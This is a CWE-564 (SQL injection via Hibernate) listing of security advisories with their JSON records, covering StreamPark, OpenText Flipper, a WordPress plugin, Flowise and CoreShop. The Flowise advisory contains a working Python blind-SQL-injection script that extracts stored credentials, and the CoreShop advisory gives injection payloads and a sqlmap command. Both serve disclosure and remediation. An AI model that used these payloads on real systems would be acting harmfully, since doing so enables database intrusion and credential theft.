Common Weakness Enumeration

CWE-564

Allowed

SQL Injection: Hibernate

Abstraction: Variant · Status: Incomplete

API response cwe.mitre.org

Using Hibernate to execute a dynamic SQL statement built with user-controlled input can allow an attacker to modify the statement's meaning or to execute arbitrary SQL commands.

19 vulnerabilities reference this CWE, most recent first.

GHSA-6WPF-Q5X2-66FC

Vulnerability from github – Published: 2025-08-22 21:31 – Updated: 2025-11-05 00:31
VLAI
Details

SQL Injection vulnerability in Apache StreamPark.

This issue affects Apache StreamPark: from 2.1.4 before 2.1.6.

Users are recommended to upgrade to version 2.1.6, which fixes the issue.

This vulnerability is present only in the distribution package (SpringBoot platform) and does not involve Maven artifacts. It can only be exploited after a user has successfully logged into the platform (implying that the attacker would first need to compromise the login authentication). As a result, the associated risk is considered relatively low.

Severity
7.6 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-48988"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-564",
      "CWE-89"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-08-22T19:15:38Z",
    "severity": "HIGH"
  },
  "details": "SQL Injection vulnerability in Apache StreamPark.\n\nThis issue affects Apache StreamPark: from 2.1.4 before 2.1.6.\n\nUsers are recommended to upgrade to version 2.1.6, which fixes the issue.\n\n\nThis vulnerability is present only in the distribution package (SpringBoot platform) and does not involve Maven artifacts.\nIt can only be exploited after a user has successfully logged into the platform (implying that the attacker would first need to compromise the login authentication). \nAs a result, the associated risk is considered relatively low.",
  "id": "GHSA-6wpf-q5x2-66fc",
  "modified": "2025-11-05T00:31:25Z",
  "published": "2025-08-22T21:31:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-48988"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/26ng8388l93zwjrst560cbjz9x7wpq1s"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2025/08/22/1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7X66-29G6-CQ28

Vulnerability from github – Published: 2025-10-20 21:30 – Updated: 2025-10-28 18:30
VLAI
Details

SQL Injection vulnerability in opentext Flipper allows SQL Injection. 

The vulnerability could allow a low privilege user to interact with the database in unintended ways and extract data by interacting with the HQL processor.

This issue affects Flipper: 3.1.2.

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
1.0 (Low)
CVSS:4.0/AV:A/AC:L/AT:P/PR:L/UI:A/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/S:P/AU:Y/R:U/V:D/RE:M/U:Green
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-8052"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-564"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-10-20T20:15:38Z",
    "severity": "LOW"
  },
  "details": "SQL Injection vulnerability in opentext Flipper allows SQL Injection.\u00a0\n\nThe vulnerability could allow a low privilege user to interact with the database in unintended ways and extract data by interacting with the HQL processor.\n\nThis issue affects Flipper: 3.1.2.",
  "id": "GHSA-7x66-29g6-cq28",
  "modified": "2025-10-28T18:30:26Z",
  "published": "2025-10-20T21:30:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8052"
    },
    {
      "type": "WEB",
      "url": "https://support.opentext.com/csm?id=ot_kb_unauthenticated\u0026sysparm_article=KB0850533"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:A/AC:L/AT:P/PR:L/UI:A/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:P/AU:Y/R:U/V:D/RE:M/U:Green",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-862R-FQ3J-WQQX

Vulnerability from github – Published: 2025-03-07 09:30 – Updated: 2025-03-07 09:30
VLAI
Details

The Eventer - WordPress Event & Booking Manager Plugin plugin for WordPress is vulnerable to SQL Injection via the reg_id parameter in all versions up to, and including, 3.9.9.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-0959"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-564",
      "CWE-89"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-03-07T09:15:16Z",
    "severity": "HIGH"
  },
  "details": "The Eventer - WordPress Event \u0026 Booking Manager Plugin plugin for WordPress is vulnerable to SQL Injection via the reg_id parameter in all versions up to, and including, 3.9.9.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for authenticated attackers, with Subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.",
  "id": "GHSA-862r-fq3j-wqqx",
  "modified": "2025-03-07T09:30:35Z",
  "published": "2025-03-07T09:30:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-0959"
    },
    {
      "type": "WEB",
      "url": "https://codecanyon.net/item/eventer-wordpress-event-manager-plugin/20972534"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/bd42c89e-57db-458f-910c-404a5615f280?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9C4C-G95M-C8CP

Vulnerability from github – Published: 2025-04-07 18:55 – Updated: 2026-06-24 13:01
VLAI
Summary
FlowiseDB vulnerable to SQL Injection by authenticated users
Details

Summary

import functions are vulnerable. * importChatflows * importTools * importVariables

Details

Authenticated user can call importChatflows API, import json file such as AllChatflows.json. but Due to insufficient validation to chatflow.id in importChatflows API, 2 issues arise.

Issue 1 (Bug Type) 1. Malicious user creates AllChatflows.json file by adding ../ and arbitrary path to the chatflow.id of the json file. json { "Chatflows": [ { "id": "../../../../../../apikey", "name": "clickme", "flowData": "{}" } ] } 2. Victim download this file, and import this to flowise. 3. When victim click created chatflow, victim access to flowise:3000/canvas/{chatflow.id}.

Issue 2 (Vulnerability Type) importChatflows API use unsafe SQL Query.

// packages/server/src/services/chatflows/index.ts
const importChatflows = async (newChatflows: Partial<ChatFlow>[]): Promise<any> => {
        try {
        const appServer = getRunningExpressApp()

        // step 1 - check whether file chatflows array is zero
        if (newChatflows.length == 0) return

        // step 2 - check whether ids are duplicate in database
        let ids = '('
        let count: number = 0
        const lastCount = newChatflows.length - 1
        newChatflows.forEach((newChatflow) => {
            ids += `'${newChatflow.id}'`           // <===== user input
            if (lastCount != count) ids += ','
            if (lastCount == count) ids += ')'
            count += 1
        })

        const selectResponse = await appServer.AppDataSource.getRepository(ChatFlow)
            .createQueryBuilder('cf')
            .select('cf.id')
            .where(`cf.id IN ${ids}`)                   // <===== here
            .getMany()
        const foundIds = selectResponse.map((response) => {
            return response.id
        })

It changes like SELECT cf.id FROM cf WHERE cf.id IN ('{USER-INPUT...}') by the code above. When ') {Malicious SQL Query} -- is passed to newChatflow.id, SQL Injection occurs.

PoC

import argparse
import requests


def import_chatflows(
    url: str,
    token: str,
    payload: dict
):
    response = requests.post(
        f'{url}/api/v1/chatflows/importchatflows',
        headers={
            'Authorization': f'Bearer {token}'
            # 'Authorization': f'Basic {token}'
        },
        json=payload
    )

    return response.json()


def import_normal_data(
    api_url: str,
    token: str,
    normal_data: str
):
    data_id = 'aaaaaa'

    payload = {
        "Chatflows": [
            {
                "id": data_id,
                "name": normal_data,
                "flowData": "{}"
            }
        ]
    }

    import_chatflows(
        url=api_url,
        token=token,
        payload=payload
    )
    return data_id


def get_character(
    api_url: str,
    token: str,
    data_id: str,
    column_name: str,
    index: int
):
    injection_query = f'(SELECT ascii(substr({column_name},{index},1)) FROM credential limit 0,1)'

    def create_payload(
        c: int
    ):
        return f"{data_id}') and if (({injection_query})<{c}, 0, 9e300 * 9e300); -- "

    chatflows_json = {
        "Chatflows": [
            {
                "id": "",
                "name": data_id,
                "flowData": "{}"
            }
        ]
    }

    bitbox = [
        64, 32, 16, 8, 4, 2, 1
    ]
    character = 0
    for bit in bitbox:
        payload = create_payload(c=character + bit)
        chatflows_json['Chatflows'][0]['id'] = payload

        res = import_chatflows(
            url=api_url,
            token=token,
            payload=chatflows_json
        )
        if 'DOUBLE value is out of range' in res['message']:
            # character is more then bit
            character += bit
        else:
            # character is less then bit
            character += 0

    return chr(character)


def get_length(
    api_url: str,
    token: str,
    data_id: str,
    column_name: str
):
    injection_query = f'(SELECT length({column_name}) FROM credential limit 0,1)'

    def create_payload(
        c: int
    ):
        return f"{data_id}') and if (({injection_query})<{c}, 0, 9e300 * 9e300); -- "

    chatflows_json = {
        "Chatflows": [
            {
                "id": "",
                "name": data_id,
                "flowData": "{}"
            }
        ]
    }

    column_len = 0
    bitbox = [
        256, 128, 64, 32, 16, 8, 4, 2, 1
    ]
    for bit in bitbox:
        payload = create_payload(c=column_len + bit)
        chatflows_json['Chatflows'][0]['id'] = payload

        res = import_chatflows(
            url=api_url,
            token=token,
            payload=chatflows_json
        )
        if 'DOUBLE value is out of range' in res['message']:
            # column_len is more then bit
            column_len += bit
        else:
            # column_len is less then bit
            column_len += 0

    return column_len


def main(
    url: str,
    token: str
):
    api_url = url

    column_box = [
        'credentialName',
        'encryptedData'
    ]

    data_id = import_normal_data(
        api_url=api_url,
        token=token,
        normal_data='flow01'
    )

    for column_name in column_box:
        column_len = get_length(
            api_url=api_url,
            token=token,
            data_id=data_id,
            column_name=column_name
        )

        print(f'[+] {column_name} length is {column_len}')

        result = ''
        for i in range(column_len):
            result += get_character(
                api_url=api_url,
                token=token,
                data_id=data_id,
                column_name=column_name,
                index=i + 1
            )

        print(f'[+] {column_name}: {result}')


if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument(
        '--url',
        type=str,
        default='http://flowise:3000'
    )
    parser.add_argument(
        '--access',
        type=str,
        required=True,
        help='Get from http://flowise:3000/apikey'
    )

    m_args = parser.parse_args()

    main(
        url=m_args.url,
        token=m_args.access
    )

poc results: encryptedData from flowise database credential table was successfully leaked.

/app # python ex2.py --url http://flowise:3000 --access "blahblah~~~"
[+] credentialName length is 9
[+] credentialName: openAIApi
[+] encryptedData length is 88
[+] encryptedData: U2FsdGVkX19LlIhbD4M9q9reLWQilBY6ffWo2S9PQ669CP1HpMPa5g1h1rJL0ZK3x0UMsLi/8Pz6TbSFrmIZbg==

It is recommended to limit all chatflow ids & chat ids to UUID.

Impact

  • Database leak
  • Lateral Movement
Severity
5.9 (Medium)
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "flowise"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.2.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-71332"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-564"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-04-07T18:55:13Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\nimport functions are vulnerable.\n* [importChatflows](https://github.com/FlowiseAI/Flowise/blob/main/packages/server/src/services/chatflows/index.ts#L219)\n* [importTools](https://github.com/FlowiseAI/Flowise/blob/main/packages/server/src/services/tools/index.ts#L85)\n* [importVariables](https://github.com/FlowiseAI/Flowise/blob/main/packages/server/src/services/variables/index.ts)\n\n### Details\n**Authenticated user** can call importChatflows API, import json file such as `AllChatflows.json`.\nbut Due to insufficient validation to chatflow.id in importChatflows API, 2 issues arise.\n\n**Issue 1 (Bug Type)**\n1. Malicious user creates `AllChatflows.json` file by adding `../` and arbitrary path to the chatflow.id of the json file.\n    ```json\n    {\n      \"Chatflows\": [\n        {\n          \"id\": \"../../../../../../apikey\",\n          \"name\": \"clickme\",\n          \"flowData\": \"{}\"\n        }\n      ]\n    }\n    ```\n2. Victim download this file, and import this to flowise.\n3. When victim click created chatflow, victim access to flowise:3000/canvas/{chatflow.id}.\n\n**Issue 2 (Vulnerability Type)**\nimportChatflows API use unsafe SQL Query.\n\n```javascript\n// packages/server/src/services/chatflows/index.ts\nconst importChatflows = async (newChatflows: Partial\u003cChatFlow\u003e[]): Promise\u003cany\u003e =\u003e {\n        try {\n        const appServer = getRunningExpressApp()\n\n        // step 1 - check whether file chatflows array is zero\n        if (newChatflows.length == 0) return\n\n        // step 2 - check whether ids are duplicate in database\n        let ids = \u0027(\u0027\n        let count: number = 0\n        const lastCount = newChatflows.length - 1\n        newChatflows.forEach((newChatflow) =\u003e {\n            ids += `\u0027${newChatflow.id}\u0027`           // \u003c===== user input\n            if (lastCount != count) ids += \u0027,\u0027\n            if (lastCount == count) ids += \u0027)\u0027\n            count += 1\n        })\n\n        const selectResponse = await appServer.AppDataSource.getRepository(ChatFlow)\n            .createQueryBuilder(\u0027cf\u0027)\n            .select(\u0027cf.id\u0027)\n            .where(`cf.id IN ${ids}`)                   // \u003c===== here\n            .getMany()\n        const foundIds = selectResponse.map((response) =\u003e {\n            return response.id\n        })\n```\nIt changes like `SELECT cf.id FROM cf WHERE cf.id IN (\u0027{USER-INPUT...}\u0027)` by the code above.\nWhen  `\u0027) {Malicious SQL Query} --` is passed to newChatflow.id, SQL Injection occurs.\n\n### PoC\n```python\nimport argparse\nimport requests\n\n\ndef import_chatflows(\n    url: str,\n    token: str,\n    payload: dict\n):\n    response = requests.post(\n        f\u0027{url}/api/v1/chatflows/importchatflows\u0027,\n        headers={\n            \u0027Authorization\u0027: f\u0027Bearer {token}\u0027\n            # \u0027Authorization\u0027: f\u0027Basic {token}\u0027\n        },\n        json=payload\n    )\n\n    return response.json()\n\n\ndef import_normal_data(\n    api_url: str,\n    token: str,\n    normal_data: str\n):\n    data_id = \u0027aaaaaa\u0027\n\n    payload = {\n        \"Chatflows\": [\n            {\n                \"id\": data_id,\n                \"name\": normal_data,\n                \"flowData\": \"{}\"\n            }\n        ]\n    }\n\n    import_chatflows(\n        url=api_url,\n        token=token,\n        payload=payload\n    )\n    return data_id\n\n\ndef get_character(\n    api_url: str,\n    token: str,\n    data_id: str,\n    column_name: str,\n    index: int\n):\n    injection_query = f\u0027(SELECT ascii(substr({column_name},{index},1)) FROM credential limit 0,1)\u0027\n\n    def create_payload(\n        c: int\n    ):\n        return f\"{data_id}\u0027) and if (({injection_query})\u003c{c}, 0, 9e300 * 9e300); -- \"\n\n    chatflows_json = {\n        \"Chatflows\": [\n            {\n                \"id\": \"\",\n                \"name\": data_id,\n                \"flowData\": \"{}\"\n            }\n        ]\n    }\n\n    bitbox = [\n        64, 32, 16, 8, 4, 2, 1\n    ]\n    character = 0\n    for bit in bitbox:\n        payload = create_payload(c=character + bit)\n        chatflows_json[\u0027Chatflows\u0027][0][\u0027id\u0027] = payload\n\n        res = import_chatflows(\n            url=api_url,\n            token=token,\n            payload=chatflows_json\n        )\n        if \u0027DOUBLE value is out of range\u0027 in res[\u0027message\u0027]:\n            # character is more then bit\n            character += bit\n        else:\n            # character is less then bit\n            character += 0\n\n    return chr(character)\n\n\ndef get_length(\n    api_url: str,\n    token: str,\n    data_id: str,\n    column_name: str\n):\n    injection_query = f\u0027(SELECT length({column_name}) FROM credential limit 0,1)\u0027\n\n    def create_payload(\n        c: int\n    ):\n        return f\"{data_id}\u0027) and if (({injection_query})\u003c{c}, 0, 9e300 * 9e300); -- \"\n\n    chatflows_json = {\n        \"Chatflows\": [\n            {\n                \"id\": \"\",\n                \"name\": data_id,\n                \"flowData\": \"{}\"\n            }\n        ]\n    }\n\n    column_len = 0\n    bitbox = [\n        256, 128, 64, 32, 16, 8, 4, 2, 1\n    ]\n    for bit in bitbox:\n        payload = create_payload(c=column_len + bit)\n        chatflows_json[\u0027Chatflows\u0027][0][\u0027id\u0027] = payload\n\n        res = import_chatflows(\n            url=api_url,\n            token=token,\n            payload=chatflows_json\n        )\n        if \u0027DOUBLE value is out of range\u0027 in res[\u0027message\u0027]:\n            # column_len is more then bit\n            column_len += bit\n        else:\n            # column_len is less then bit\n            column_len += 0\n\n    return column_len\n\n\ndef main(\n    url: str,\n    token: str\n):\n    api_url = url\n\n    column_box = [\n        \u0027credentialName\u0027,\n        \u0027encryptedData\u0027\n    ]\n\n    data_id = import_normal_data(\n        api_url=api_url,\n        token=token,\n        normal_data=\u0027flow01\u0027\n    )\n\n    for column_name in column_box:\n        column_len = get_length(\n            api_url=api_url,\n            token=token,\n            data_id=data_id,\n            column_name=column_name\n        )\n\n        print(f\u0027[+] {column_name} length is {column_len}\u0027)\n\n        result = \u0027\u0027\n        for i in range(column_len):\n            result += get_character(\n                api_url=api_url,\n                token=token,\n                data_id=data_id,\n                column_name=column_name,\n                index=i + 1\n            )\n\n        print(f\u0027[+] {column_name}: {result}\u0027)\n\n\nif __name__ == \u0027__main__\u0027:\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\n        \u0027--url\u0027,\n        type=str,\n        default=\u0027http://flowise:3000\u0027\n    )\n    parser.add_argument(\n        \u0027--access\u0027,\n        type=str,\n        required=True,\n        help=\u0027Get from http://flowise:3000/apikey\u0027\n    )\n\n    m_args = parser.parse_args()\n\n    main(\n        url=m_args.url,\n        token=m_args.access\n    )\n```\n\n**poc results: encryptedData from flowise database credential table was successfully leaked.**\n```\n/app # python ex2.py --url http://flowise:3000 --access \"blahblah~~~\"\n[+] credentialName length is 9\n[+] credentialName: openAIApi\n[+] encryptedData length is 88\n[+] encryptedData: U2FsdGVkX19LlIhbD4M9q9reLWQilBY6ffWo2S9PQ669CP1HpMPa5g1h1rJL0ZK3x0UMsLi/8Pz6TbSFrmIZbg==\n```\n\nIt is recommended to limit all chatflow ids \u0026 chat ids to UUID.\n\n### Impact\n* Database leak\n* Lateral Movement",
  "id": "GHSA-9c4c-g95m-c8cp",
  "modified": "2026-06-24T13:01:22Z",
  "published": "2025-04-07T18:55:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-9c4c-g95m-c8cp"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/pull/4226"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/FlowiseAI/Flowise"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "FlowiseDB vulnerable to SQL Injection by authenticated users"
}

GHSA-CH7P-MPV4-4VG4

Vulnerability from github – Published: 2026-01-07 19:29 – Updated: 2026-01-12 20:06
VLAI
Summary
CoreShop Vulnerable to SQL Injection via Admin Reports
Details

Affected Version(s)

  • CoreShop 4.1.2 Demo (tested) Demo | CoreShop
  • Earlier versions may also be affected if the same code path exists

Summary

A blind SQL injection vulnerability exists in the application that allows an authenticated administrator-level user to extract database contents using boolean-based or time-based techniques. The database account used by the application is read-only and non-DBA, limiting impact to confidential data disclosure only. No data modification or service disruption is possible.

Details

The vulnerability occurs due to unsanitized user input being concatenated into a SQL query without proper parameterization.

An attacker with administrative access can manipulate the affected parameter to influence the backend SQL query logic. Although no direct query output is returned, boolean and time-based inference techniques allow an attacker to extract data from the database.

Impact

Vulnerability Type: Blind SQL Injection

Impact: Confidentiality only

An attacker can:

  • Enumerate database schema
  • Extract all data accessible to the application’s database user

CVSS v3.1 (Base Score: 4.9 – Medium)

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N

Steps to Reproduce:

1

  1. Send a Normal Request:
    • Request the report endpoint with a valid store value (e.g. store=1) and observe that data is returned.

2

  1. Inject a Boolean TRUE Condition:
    • Modify the parameter to store=1 AND 1=1.
    • The response returns the same data as the normal request.

3

  1. Inject a Boolean FALSE Condition:
    • Modify the parameter to store=1 AND 2=1.
    • The response returns an empty dataset.

4

  1. Confirm Injection Behavior:

    • The difference between TRUE and FALSE conditions confirms that the store parameter directly affects SQL query logic, indicating a boolean-based blind SQL injection.

  2. Automated Confirmation Using sqlmap:

    • The vulnerable request was tested using sqlmap with the store parameter.
    • sqlmap successfully confirmed the parameter as boolean-based and time-based blind SQL injectable.
    • The tool was able to fingerprint the backend environment, including:
      • Database Management System (DBMS)
      • Database hostname
      • PHP version
      • Available database names
    • This confirms that the injection is exploitable beyond simple logic manipulation and allows database-level information disclosure.

5

C:\sqlmap>python sqlmap.py -r test.txt --random-agent --batch --force-ssl --ignore-code=403,404 --no-cast --tamper=between,randomcase,space2comment --proxy http://127.0.0.1:8080 -p store
---
Parameter: store (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: report=products&_dc=1767718087622&from=1767200400&to=1798650000&store=1 AND 3500=3500&objectType=all&orderState=[]&page=1&start=0&limit=50

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: report=products&_dc=1767718087622&from=1767200400&to=1798650000&store=1 AND (SELECT 6265 FROM (SELECT(SLEEP(5)))KORX)&objectType=all&orderState=[]&page=1&start=0&limit=50
---
web application technology: PHP 8.3.16
back-end DBMS: MySQL >= 5.0.12
hostname: 'coreshop4-demo-php-6c6b7c446f-9qd8w'
available databases [3]:
[*] app
[*] information_schema
[*] performance_schema

Solution

To mitigate the SQL injection risk, user input should not be directly concatenated into SQL queries. The store parameter is expected to represent a numeric store identifier and should therefore be handled safely.

Two possible remediation approaches are recommended:

  1. Strict Type Enforcement (Minimal Fix)

    If the store parameter is intended to be numeric only, enforce integer casting when retrieving the value (e.g. (int) $storeId). This prevents injection by ensuring that only numeric values are used in the query.

  2. Prepared Statements (Best Practice)

    Alternatively, and preferably, the store parameter should be passed using parameter binding, consistent with the handling of other query values in this method. Using prepared statements fully prevents SQL injection and aligns with Doctrine DBAL best practices.

Applying either approach would prevent attackers from injecting SQL logic through the store parameter.

Parameter

  1. /admin/coreshop/report/get-data?report=products&_dc=1767720897882&from=1767200400&to=1798650000&store=1&objectType=all&orderState=%5B%5D&page=1&start=0&limit=50

Line of Code

CoreShop/src/CoreShop/Bundle/CoreBundle/Report/SalesReport.php

Line 64 :

$storeId =$parameterBag->get('store',null);

The store parameter is retrieved directly from the HTTP request via ParameterBag. This value originates from user-controlled input and is not validated or type-cast at this point.

Line 77 :

if (null ===$storeId) {
return [];
}

This check ensures the parameter is present, but does not enforce type safety or restrict the value to an expected format (e.g., integer).

Line 81 :

$store =$this->storeRepository->find($storeId);

The user-supplied value is used to query the repository. While this lookup may fail for invalid values, it does not prevent the same value from later being used in a raw SQL context.

Line 107 :

WHERE orders.store =$storeId
  AND orders.orderState ='$orderCompleteState'
  AND orders.orderDate > ?
  AND orders.orderDate < ?
  AND saleState='" . OrderSaleStates::STATE_ORDER . "'

At this point, the $storeId value is directly concatenated into the SQL query string. Unlike other parameters in the query (orderDate), this value is not bound as a prepared statement parameter.

Example Fixed Code

Option 1: Strict Type Enforcement (Minimal Fix)

If the store parameter is intended to be numeric only, enforce integer casting before using it in the query.

$storeId = (int)$parameterBag->get('store',0);

if ($storeId <=0) {
return [];
}

$sqlQuery = "
    SELECT DATE(FROM_UNIXTIME(orderDate)) AS dayDate, orderDate, SUM(totalGross) AS total
    FROM object_query_$classId AS orders
    WHERE orders.store =$storeId
      AND orders.orderState = '$orderCompleteState'
      AND orders.orderDate > ?
      AND orders.orderDate < ?
      AND saleState = '" .OrderSaleStates::STATE_ORDER . "'
    GROUP BY " .$groupSelector;

This ensures that only numeric values are used and prevents SQL logic injection.

Option 2: Prepared Statements (Recommended Fix)

Use parameter binding for all user-influenced values, including store.

$sqlQuery = "
    SELECT DATE(FROM_UNIXTIME(orderDate)) AS dayDate, orderDate, SUM(totalGross) AS total
    FROM object_query_$classId AS orders
    WHERE orders.store = ?
      AND orders.orderState = ?
      AND orders.orderDate > ?
      AND orders.orderDate < ?
      AND saleState = ?
    GROUP BY " .$groupSelector;

$results =$this->db->fetchAllAssociative(
$sqlQuery,
    [
        (int)$storeId,
$orderCompleteState,
$from->getTimestamp(),
$to->getTimestamp(),
OrderSaleStates::STATE_ORDER,
    ]
);

This approach fully eliminates SQL injection risks and aligns with Doctrine DBAL best practices.

Severity
4.9 (Medium)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.7"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "coreshop/core-shop"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-22242"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-564",
      "CWE-89"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-07T19:29:50Z",
    "nvd_published_at": "2026-01-08T10:15:56Z",
    "severity": "MODERATE"
  },
  "details": "### Affected Version(s)\n\n- CoreShop 4.1.2 Demo (tested) [Demo | CoreShop](https://docs.coreshop.com/CoreShop/Getting_Started/Demo/index.html)\n- Earlier versions may also be affected if the same code path exists\n\n### Summary\n\nA blind SQL injection vulnerability exists in the application that allows an authenticated administrator-level user to extract database contents using boolean-based or time-based techniques.\nThe database account used by the application is read-only and non-DBA, limiting impact to confidential data disclosure only. No data modification or service disruption is possible.\n\n### Details\n\nThe vulnerability occurs due to unsanitized user input being concatenated into a SQL query without proper parameterization.\n\nAn attacker with administrative access can manipulate the affected parameter to influence the backend SQL query logic. Although no direct query output is returned, boolean and time-based inference techniques allow an attacker to extract data from the database.\n\n\n### Impact\n\n**Vulnerability Type:** Blind SQL Injection\n\n**Impact:** Confidentiality only\n\nAn attacker can:\n\n- Enumerate database schema\n- Extract all data accessible to the application\u2019s database user\n\n**CVSS v3.1 (Base Score: 4.9 \u2013 Medium)**\n\n```\nCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N\n```\n\n### Steps to Reproduce:\n\n\u003cimg width=\"1010\" height=\"372\" alt=\"1\" src=\"https://github.com/user-attachments/assets/312422c8-f3ea-4332-8c14-59aed737da6a\" /\u003e\n\n1. **Send a Normal Request:**\n    - Request the report endpoint with a valid `store` value (e.g. `store=1`) and observe that data is returned.\n    \n\u003cimg width=\"1259\" height=\"725\" alt=\"2\" src=\"https://github.com/user-attachments/assets/56f91c23-bae5-4edf-9c17-c776c323b3a8\" /\u003e\n\n2. **Inject a Boolean TRUE Condition:**\n    - Modify the parameter to `store=1 AND 1=1`.\n    - The response returns the same data as the normal request.\n    \n\u003cimg width=\"1269\" height=\"725\" alt=\"3\" src=\"https://github.com/user-attachments/assets/c998065a-dc59-4fe5-8be9-d5ea82736ade\" /\u003e\n\n3. **Inject a Boolean FALSE Condition:**\n    - Modify the parameter to `store=1 AND 2=1`.\n    - The response returns an empty dataset.\n    \n\u003cimg width=\"1259\" height=\"536\" alt=\"4\" src=\"https://github.com/user-attachments/assets/3be68566-f1f3-4a61-81d7-4f8b0b318bf7\" /\u003e\n\n4. **Confirm Injection Behavior:**\n    - The difference between TRUE and FALSE conditions confirms that the `store` parameter directly affects SQL query logic, indicating a boolean-based blind SQL injection.\n    \n5. **Automated Confirmation Using sqlmap:**\n    - The vulnerable request was tested using `sqlmap` with the `store` parameter.\n    - sqlmap successfully confirmed the parameter as **boolean-based and time-based blind SQL injectable**.\n    - The tool was able to fingerprint the backend environment, including:\n        - Database Management System (DBMS)\n        - Database hostname\n        - PHP version\n        - Available database names\n    - This confirms that the injection is exploitable beyond simple logic manipulation and allows database-level information disclosure.\n\n\u003cimg width=\"1115\" height=\"628\" alt=\"5\" src=\"https://github.com/user-attachments/assets/5370f6d1-9915-4bea-ae83-b7a977b8eeff\" /\u003e\n\n```php\nC:\\sqlmap\u003epython sqlmap.py -r test.txt --random-agent --batch --force-ssl --ignore-code=403,404 --no-cast --tamper=between,randomcase,space2comment --proxy http://127.0.0.1:8080 -p store\n---\nParameter: store (GET)\n    Type: boolean-based blind\n    Title: AND boolean-based blind - WHERE or HAVING clause\n    Payload: report=products\u0026_dc=1767718087622\u0026from=1767200400\u0026to=1798650000\u0026store=1 AND 3500=3500\u0026objectType=all\u0026orderState=[]\u0026page=1\u0026start=0\u0026limit=50\n\n    Type: time-based blind\n    Title: MySQL \u003e= 5.0.12 AND time-based blind (query SLEEP)\n    Payload: report=products\u0026_dc=1767718087622\u0026from=1767200400\u0026to=1798650000\u0026store=1 AND (SELECT 6265 FROM 